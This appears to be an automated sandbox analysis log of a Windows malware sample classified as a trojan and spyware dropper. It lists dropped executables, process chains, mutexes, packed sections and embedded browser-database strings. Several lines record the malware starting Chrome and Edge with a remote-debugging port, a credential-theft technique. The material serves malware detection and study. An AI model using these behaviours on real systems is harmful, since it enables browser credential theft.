Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007C779B	5_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0078E530	15_2_0078E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007A6192	15_2_007A6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C8860	15_2_007C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00784B30	15_2_00784B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C2D10	15_2_007C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00784DE0	15_2_00784DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007A0E13	15_2_007A0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C7049	15_2_007C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C31A8	15_2_007C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007A1602	15_2_007A1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C779B	15_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007C78BB	15_2_007C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007A3DF1	15_2_007A3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007B7F36	15_2_007B7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00797A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007980C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079DF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0079D64E appears 79 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 003D80C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe0.15.dr	Static PE information: Section: olexbnfi ZLIB complexity 0.9950148200193567
Source: 2bbe886987.exe.15.dr	Static PE information: Section: olexbnfi ZLIB complexity 0.9950148200193567

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@85/283@53/26

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5748:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.17.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.17.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.17.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.17.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.17.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.17.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.17.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.17.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 06339d0580.exe, 00000010.00000003.2879612655.0000000005640000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879297059.000000000565E000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2893335696.000000000563F000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2879799675.000000000562F000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2893147161.000000000564B000.00000004.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3192257965.000000001D7E8000.00000004.00000020.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000003.3089586004.000000001D7F4000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3041111392.0000000005505000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3040096912.0000000005534000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3061268583.000000000553C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.17.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 2bbe886987.exe, 00000011.00000002.3458754057.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3402965223.000000001D8F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.17.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 52%

Source: 06339d0580.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: jRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeR

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,7716630542487590331,11907204266524124684,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5112 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7304 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3060 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2088,i,2163405912053765820,6298908973579376615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,7716630542487590331,11907204266524124684,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6960 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5112 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7304 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3060 --field-trial-handle=2036,i,172754923864739976,11156869851450121844,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
